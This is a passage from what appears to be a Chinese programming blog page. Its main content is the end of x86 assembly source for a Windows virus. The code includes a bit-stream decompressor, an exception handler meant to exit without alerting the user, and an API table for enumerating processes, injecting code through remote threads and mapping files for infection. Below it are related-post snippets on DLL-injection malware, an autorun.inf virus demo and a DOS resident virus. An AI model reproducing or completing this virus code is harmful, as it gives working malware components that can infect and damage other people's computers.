pulNumberOfBytes = (BASE_OFFSET+12)

LZ77Decompress:

  pushad
  mov ebp, esp

  xor ebx, ebx ; Initialize bit offset
  mov esi, [ebp][pDataBuffer]
  mov edi, [ebp][pOutputBuffer]

  push -MAX_WND_SIZE
  push 0
  sub esp, 3 * 4

lb_LZ77Decompress:

  cmp ebx, [ebp][ulNumberOfBits]
  jae lb_AllDataDecompressed

  call ReadBitFromBitStream

  test eax, eax
  jz lb_SingleCharacter

  mov eax, [ebp][iSlideWindowPtr]
  mov edx, [ebp][pOutputBuffer]

  cmp eax, 0
  jl lb_L2_a
  add edx, eax
  jmp lb_L2_b
lb_L2_a:
  cmp eax, -MAX_WND_SIZE
  jge lb_L2_b
  xor edx, edx
lb_L2_b:

  push edx

  mov ecx, OFFSET_CODING_LENGTH
  call ReadBitsFromBitStream

  push eax
  call ReadGolombCode
  pop eax

  xchg esi, [esp]
  add esi, eax
  add [ebp][iSlideWindowPtr], ecx
  add [ebp][ulBytesDecoded], ecx

lp_CopyingString:

  mov al, [esi]
  mov [edi], al
  inc esi
  inc edi
  loop lp_CopyingString

  pop esi


  jmp lb_LZ77Decompress


lb_SingleCharacter:

  mov ecx, 8
  call ReadBitsFromBitStream

  mov [edi], al
  inc edi
  inc dword ptr [ebp][iSlideWindowPtr]
  inc dword ptr [ebp][ulBytesDecoded]

  jmp lb_LZ77Decompress

lb_AllDataDecompressed:

  mov eax, [ebp][ulBytesDecoded]
  mov ecx, [ebp][pulNumberOfBytes]
  jecxz lb_NumberOfBytesNotRequiredReturned
  mov [ecx], eax

lb_NumberOfBytesNotRequiredReturned:

  mov esp, ebp
  popad
  ret 16


ReadBitFromBitStream:

  push ecx

  mov eax, ebx
  shr eax, 3
  add eax, esi
  mov ecx, ebx
  and ecx, 7
  mov eax, [eax]
  shr eax, cl
  and eax, 1

  pop ecx
  inc ebx

  ret


ReadBitsFromBitStream:

  push edi
  push edx

  xor edx, edx
  xor edi, edi
  xchg ecx, edi

lb_LoopOfReadBits:

  call ReadBitFromBitStream
  shl eax, cl
  or edx, eax

  inc ecx
  dec edi
  jnz lb_LoopOfReadBits

  mov eax, edx
  pop edx
  pop edi
  ret


;*********************************************************************
;*                                                                   *
;* ReadGolombCode()                                                 *
;*                                                                   *
;* Remarks:                                                         *
;*  Read the Golomb code from the bit stream.                    *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to start address of the bit stream.                    *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the Golomb code will      *
;*  be read from.                                                *
;*                                                                   *
;* Return value:                                                    *
;*  [Ecx]                                                        *
;*  The decoding value                                           *
;*                                                                   *
;*********************************************************************
ReadGolombCode:

  xor edx, edx

lb_ReadNextBitUntil0IsFound:

  call ReadBitFromBitStream
  test eax, eax
  jz lb_ZeroBitIsFound
  inc edx
  jmp lb_ReadNextBitUntil0IsFound

lb_ZeroBitIsFound:

  push edx

  xor ecx, ecx
  xor edx, edx

lb_LoopOfDecodingR:

  call ReadBitFromBitStream
  shl eax, cl
  or edx, eax
  inc ecx
  cmp ecx, M
  jb lb_LoopOfDecodingR

  mov ecx, edx
  pop edx
  shl edx, M
  lea ecx, [ecx+edx+1]
  ret

;//}

;*********************************************************************
;* ExceptionHandler:
;*
;*  The exception-handing routine. When something unnormal
;*  occurs anyway, the routine is called by the system. We will
;*  do some processings here and then quit our virus program
;*  without causing the user's cautions.
;
;* Parameters:
;*
;*  fs:[0]: Point the memory unit where the ESP register is
;*  saved. The value of the ESP register is equal to the one
;*  when the exception occurs.
;*
;* Return Value:
;*
;*  None
;*
;*
;*********************************************************************
ExceptionHandler:

if DEBUG
  push 0
  push offset szError
  push offset szExceptionCaused
  push 0
  call MessageBoxA
endif

  xor ebx,ebx
  mov eax, fs:[ebx]
  mov esp, [eax]

  jmp lb_ExitVirusProgram


NameOfKernel32   db 'Kernel32.dll', 0

if DEBUG
 TargetProcessName db 'mm.exe', 0
endif

        db 'prcv'
        db (MajorVersion + 00000030h)
        db '.'
        db (MinorVersion + 00000030h)

n_GetModuleHandleA    db 'GetModuleHandleA', 0
n_GetProcAddress    db 'GetProcAddress', 0
n_CreateToolhelp32Snapshot   db 'CreateToolhelp32Snapshot', 0
n_Process32First    db 'Process32First', 0
n_Process32Next     db 'Process32Next', 0
n_Module32First     db 'Module32First', 0
n_Module32Next     db 'Module32Next', 0
n_CloseHandle     db 'CloseHandle', 0
n_OpenProcess     db 'OpenProcess', 0
n_CreateRemoteThread   db 'CreateRemoteThread', 0
n_VirtualProtectEx    db 'VirtualProtectEx', 0
n_VirtualAllocEx    db 'VirtualAllocEx', 0
n_VirtualFreeEx     db 'VirtualFreeEx', 0
n_WriteProcessMemory   db 'WriteProcessMemory', 0
n_CreateFileA     db 'CreateFileA', 0
n_CreateFileW     db 'CreateFileW', 0
n_CreateFileMapping    db 'CreateFileMappingW', 0
n_MapViewOfFile     db 'MapViewOfFile', 0
n_UnmapViewOfFile    db 'UnmapViewOfFile', 0
n_GetFileAttributes    db 'GetFileAttributesW', 0
n_SetFileAttributes    db 'SetFileAttributesW', 0
n_GetFileSize     db 'GetFileSize', 0
n_MultiByteToWideChar   db 'MultiByteToWideChar', 0
ife SKIP_CURRENT_PROCESS
n_GetCurrentProcessId   db 'GetCurrentProcessId', 0
endif
if ERROR_DIAGNOSE
n_GetLastError     db 'GetLastError', 0
endif

if NOT_INFECT_FILES
LogFileName      db 'c:/openlog.txt', 0
endif

RelativeBase  =  @B
; import-function string offset table
IfNameTable   dd n_GetModuleHandleA    - RelativeBase
     dd n_GetProcAddress    - RelativeBase
     dd n_CreateToolhelp32Snapshot - RelativeBase
     dd n_Process32First   - RelativeBase
     dd n_Process32Next    - RelativeBase
     dd n_Module32First    - RelativeBase
     dd n_Module32Next    - RelativeBase
     dd n_CloseHandle    - RelativeBase
     dd n_OpenProcess    - RelativeBase
     dd n_CreateRemoteThread  - RelativeBase
     dd n_VirtualProtectEx   - RelativeBase
     dd n_VirtualAllocEx   - RelativeBase
     dd n_VirtualFreeEx    - RelativeBase
     dd n_WriteProcessMemory  - RelativeBase
if NOT_INFECT_FILES
     dd n_CreateFileA    - RelativeBase
endif
     dd n_CreateFileW    - RelativeBase
     dd n_CreateFileMapping   - RelativeBase
     dd n_MapViewOfFile    - RelativeBase
     dd n_UnmapViewOfFile   - RelativeBase
     dd n_GetFileAttributes   - RelativeBase
     dd n_SetFileAttributes   - RelativeBase
     dd n_GetFileSize    - RelativeBase
     dd n_MultiByteToWideChar  - RelativeBase
ife SKIP_CURRENT_PROCESS
     dd n_GetCurrentProcessId  - RelativeBase
endif
if ERROR_DIAGNOSE
     dd n_GetLastError    - RelativeBase
endif
     dd 0 ; 0 meaning the end of the table
IsBusy    db 0

CallAddressTable = $
@X = $
lpfnGetModuleHandleA   dd ?
lpfnGetProcAddress    dd ?
lpfnCreateToolhelp32Snapshot dd ?
lpfnProcess32First    dd ?
lpfnProcess32Next    dd ?
lpfnModule32First    dd ?
lpfnModule32Next    dd ?
lpfnCloseHandle     dd ?
lpfnOpenProcess     dd ?
lpfnCreateRemoteThread   dd ?
lpfnVirtualProtectEx   dd ?
lpfnVirtualAllocEx    dd ?
lpfnVirtualFreeEx    dd ?
lpfnWriteProcessMemory   dd ?
if NOT_INFECT_FILES
lpfnCreateFileA     dd ?
endif
lpfnCreateFileW     dd ?
lpfnCreateFileMappingW   dd ?
lpfnMapViewOfFile    dd ?
lpfnUnmapViewOfFile    dd ?
lpfnGetFileAttributesW   dd ?
lpfnSetFileAttributesW   dd ?
lpfnGetFileSize     dd ?
lpfnMultiByteToWideChar   dd ?
ife SKIP_CURRENT_PROCESS
lpfnGetCurrentProcessId   dd ?
endif
if ERROR_DIAGNOSE
lpfnGetLastError    dd ?
endif


VIRUS_PHYSICAL_SIZE = $ - BaseOfVirusCode
VIRUS_VIRTUAL_SIZE = 00001000h
VIRUS_ALIGN_SIZE = (VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED + 00000400h)
VIRUS_BOOTING_SIZE = (VIRUS_VIRTUAL_SIZE + MAX_SIZE_COMPRESSED)

DynamicDataArea = $

ReturnValueFromRemoteProcess dd  ?
dwOldProtect     dd  ?
ProcessEntry32    = $
  pe_dwSize   = ProcessEntry32 + 0000h
  pe_th32ProcessID = ProcessEntry32 + 0008h
  pe_szExeFile  = ProcessEntry32 + 0024h

ife NOT_INFECT_FILES
ModuleEntry32    = $
else
ModuleEntry32    = $ + 00000128h
endif
  me_dwSize   = ModuleEntry32 + 0000h
  me_modBaseAddr  = ModuleEntry32 + 0014h

PADDING_DATA_LENGTH = (VIRUS_ALIGN_SIZE-($-BaseOfVirusCode))

PaddingData   db (PADDING_DATA_LENGTH) dup (0)

; _______________________________________________  ___
;|(0x0000)                                       |  |
;|                                               |  |
;|                 Virus Code                    |  | 00001000h
;|                                               |  |
;|_______________________________________________| _|_
;|(0x1000)                                       |  |
;|                                               |  |
;|         Buffer For Data Compressed            |  | 00004000h
;|                                               |  |
;|                                               |  |
;|                                               |  |
;|                                               |  |
;|                                               |  |
;|_______________________________________________| _|_

DOS_HAEDER_SIZE     = 00000040h
SIZE_OF_IMPORT_DESCRIPTOR  = 00000014h
SIZE_OF_IMAGE_SECTION_HEADER = 00000028h
MAX_SIZE_TO_COMPRESS   = 00004000h
MAX_SIZE_COMPRESSED    = 00004000h

DELTA_X       = BaseOfVirusCode - @X
lpBufferForDataCompressed  = DELTA_X + 00001000h

VirSegment ends


end VirtualEntry 

Claude Code+GLM-4.5/Kimi K2:本地化智能编程助手实战指南 智能编程助手正从云端补全工具演进为深度理解代码上下文的本地化协作者。其核心原理在于RAG(检索增强生成)与大语言模型的协同——通过实时索引本地项目结构(AST、依赖、Git状态)实现精准上下文感知,而非依赖通用代码统计预测。这种技术路径显著提升了私有代码、内部框架和复杂调试场景下的可靠性与安全性,技术价值体现在降低高频认知摩擦、规避合规风险、压缩问题闭环延迟。典型应用场景包括Pandas异常定位、React useEffect依赖修复、Rust unsafe生命周期分析等工程痛点。本文聚焦Claude Co 阅读详情

相关推荐

恶意代码--dll动态链接库注入目标进程隐藏自身(亲测win7x86和x64有效)

0x01 dll 注入简介 所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。 很多恶意代码,游戏外挂,盗号木马,顽固类病毒等程序均采用此寄生,隐藏在目标计算机之内。 0x02 dll 注入关键API VirtualAllocEx function VirtualAllocEx函数在远程进程的地址空间中分配一块内存

关注互联网安全的小虾米一枚 1万+

病毒Demo

#include #include // 设置连接器选项,告诉linker的入口,不要出现控制台#pragma comment( linker, "/subsystem:/"windows/" /entry:/"mainCRTStartup/"" )#define AUTORUN_INF "[autorun]/r/nopen=virus.exe/r/n"int ma

Terry关注智能硬件创业 1030

Windows部署OpenClaw:国产大模型+飞书集成全链路实战

OpenClaw是一款面向企业级AI工作流编排的开源框架,其核心原理是通过Rust引擎调度Python技能插件,调用本地化LLM(如Qwen2、GLM等)处理结构化意图。技术价值在于打破云依赖与系统限制,实现国产模型在Windows环境下的轻量化、合规化、服务化落地。典型应用场景包括飞书机器人增强、工业知识库问答、多维表格自动填充等需端到端闭环的办公自动化任务。本文聚焦Windows平台特有的部署挑战——从AVX2优化的GGUF模型加载、llama.cpp Windows专项编译,到飞书OAuth回调穿透与

weixin_30292745的博客 432

如果大家使用的是windows2k 或xp那么教大家一招克就能死所有病毒!!

如果大家使用的是windows2k 或xp那么教大家一招克就能死所有病毒!! 如果你是新装的系统(或者是你能确认你的系统当前是无毒的),那就再好不过了,现在就立即就打开: “开始→程序→管理工具→计算机管理→本地用户和组→用户” 吧! 首先就是把超级管理员密码更改成十位数以上,然后再建立一个用户,把它的密码也设置成十位以上并且提升为超级管理员。这样做的目的是为了双保险:如果你忘记了其中一个密码,还

xj2006的专栏 754

Materials Studio 2024安装全链路技术指南:系统兼容、许可配置与驱动适配

Materials Studio 是面向材料计算的科学仿真平台,其运行依赖严格的系统环境支撑。理解其底层原理需把握Windows内核版本约束、OpenGL图形上下文初始化机制、基于主机标识(HOSTNAME/MAC/DISKID)的离线许可验证逻辑,以及.NET运行时与显卡Studio驱动的协同要求。这类专业CAE/CFD类软件普遍面临安装即失效问题,核心症结在于操作系统级兼容性断层与许可服务端口(如27000)的静默拦截。典型应用场景包括高校材料实验室批量部署、CASTEP能带计算环境搭建、DMol3分子

weixin_30740581的博客 448

在Windows 10上搭建ROS开发环境:从系统准备到首个节点运行

本文详细指导在Windows 10系统上搭建ROS开发环境的完整流程,从系统准备、Visual Studio配置到首个ROS节点运行。涵盖版本选择、环境变量设置、常见问题解决及高效开发工具配置,特别适合需要在Windows平台进行机器人原型开发的初学者和工程师。

weixin_28736355的博客 149

一个DOS下的驻留病毒Demo

;******************************************;*  A DOS COMPUTER VIRUS                  *;*  NAME: PRC VIRUS                       *;*  INFEST COM OR EXE FILE IN DOS SYSTEM  *;*  COMPLETED ON May 2,2000 

PRC的专栏 1584

无需GPU的本地文生图:GGUF内存调度与ComfyUI实战指南

文生图模型本地部署长期受限于GPU依赖和显存瓶颈,而CPU友好型推理正成为新范式。GGUF格式本质是面向内存受限环境的运行时调度协议,通过细粒度块加载、动态精度跃迁与mmap内存映射,实现高质量图像生成对纯CPU和有限内存(如13.2GB)的适配。其技术价值在于打破云API依赖、保障数据本地化、降低硬件门槛,适用于产品经理快速出图、设计师嵌入Figma工作流、企业知识库自动配图等轻量但高频的工程场景。本文聚焦Qwen-Image-2512在ComfyUI中的GGUF落地实践,覆盖环境避坑、模型校验、节点配置

weixin_33919950的博客 459

OpenClaw本地AI Agent部署指南:Python 3.11.9+Ollama+Qwen2.5全流程实操

AI Agent是面向任务自动化的智能体执行框架,其核心原理在于将大模型作为‘大脑’,通过可编程技能(Skill)编排浏览器、文件、终端等工具完成端到端工作流。技术价值体现在完全离线、零API依赖、数据主权可控,显著降低企业级自动化门槛。典型应用场景包括PDF/Excel智能解析、ROS机器人SLAM建图报告生成、国产信创环境(飞腾+UOS)AI落地等。本指南聚焦OpenClaw这一开源AI Agent框架的本地化实践,深度整合Python 3.11.9环境锁死、Ollama模型服务部署与Qwen2.5-7

chunchan1381的博客 515

Qoder CN深度部署指南:面向中文开发者的本地化AI编程助手

智能编程助手正从云端API调用转向本地化、语境化代码理解。其核心原理是结合大语言模型与IDE插件,在客户端完成代码补全、上下文建模与项目感知,技术价值在于降低延迟、保障隐私、适配国产工具链。典型应用场景包括Vue3/TS项目自动补全、pnpm workspace跨包导入、Pydantic类型推导等。尤其在中文技术语境下,需依赖高质量中文代码语料(如Gitee README、掘金笔记)实现精准语义理解——这正是Qoder CN区别于通用AI编程工具的关键所在。

weixin_34210740的博客 357

大语言模型基准测试:七种核心方法详解与工程落地指南

大语言模型基准测试是评估模型真实能力的关键技术手段,其本质是通过多维度、场景化的量化指标,替代单一总分式评价。它涵盖基础知识理解、逻辑推理、代码生成、事实性验证、指令遵循、长上下文记忆及安全对齐七大能力维度,每类测试对应不同技术原理与业务风险点。例如,MMLU检验知识广度但不反映应用能力,GSM8K暴露多步推理断链问题,TruthfulQA直击幻觉控制这一高风险短板。在金融、医疗、客服等实际场景中,基准结果直接决定是否需加人工复核、能否开放API或必须阻断上线。本文系统拆解七类主流测试集的设计逻辑、典型陷阱

weixin_30698297的博客 362

计算机专业笔记本选购指南:从CPU到内存的配置逻辑与实战建议

在计算机科学领域,硬件配置是保障开发效率与学习体验的基础。理解计算机体系结构中的核心组件,如中央处理器(CPU)与内存的工作原理,是优化工作流的关键。CPU的多核性能直接影响代码编译速度与虚拟机运行效率,而内存容量则决定了多任务并行处理的能力,避免因资源不足导致的系统卡顿。这些硬件特性对于运行集成开发环境(IDE)、数据库服务及虚拟化软件等技术栈至关重要。从工程实践角度,合理的硬件选型能显著提升编程、数据处理及机器学习入门等场景下的工作效率。本文聚焦于计算机专业学生的核心需求,深入探讨如何围绕**虚拟机**

weixin_30855099的博客 393

Windows部署AI Agent四大障碍与实操指南

AI Agent是面向任务的智能体系统,其本地化部署依赖Python环境、推理引擎(如llama.cpp)、状态服务(Redis/PostgreSQL)及跨进程通信机制。在Windows平台,由于缺乏POSIX语义支持、二进制ABI兼容性差、无原生服务守护机制,以及中文系统编码与权限策略冲突,导致Mac/Linux教程普遍失效。技术价值在于突破‘能跑’到‘稳跑’的临界点——通过venv隔离、预编译wheel适配、nssm服务注册、UTF-8显式编码等工程手段,实现生产级稳定性。典型应用场景包括本地Dify私

weixin_30697239的博客 378

4GB显存Windows部署Llama3.1:显存压榨实战指南

大模型推理中的显存管理,本质是动态内存调度而非静态容量分配。理解CUDA显存作为计算流水线的特性,结合AWQ量化、PagedAttention、FlashAttention-2和CPU offloading四大技术,可显著降低FP16模型的显存驻留需求与峰值压力。尤其在Llama3.1系列中,GQA架构与RMSNorm等设计天然适配压缩,使4GB消费级显卡在Windows 11环境下稳定运行8B模型成为现实。本文聚焦开源大模型在低资源终端的工程落地,覆盖量化选型、vLLM/llama.cpp参数调优、hy-

chunchan1381的博客 520

OpenClaw:U盘即AI工作台的离线大模型编排引擎

大模型本地部署正从‘服务器依赖’走向‘设备便携化’,其核心在于运行时架构重构与轻量级容器化。内存映射加载(MMAP)、QUIC协议网关、Python子解释器沙箱等关键技术,使LLM推理摆脱CUDA驱动、Docker环境和固定端口配置,实现真正意义上的零代码、免安装、离线优先。这类方案尤其适用于内网隔离、边缘终端、教育实训及快速原型验证等场景,而OpenClaw正是将该范式工程落地的代表性工具——它不提供新模型,却重新定义了模型交付与调度的方式。

545

以GD32F103C8T6为例的核心板原理图PCB绘制学习笔记简单总结

重点在supplier part是立创商城的编号,可以搜到。

2301_80397661的博客 3269
上一篇: 使用远程线程制作不死进程
下一篇: Win32.LostLove 病毒分析及清除
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值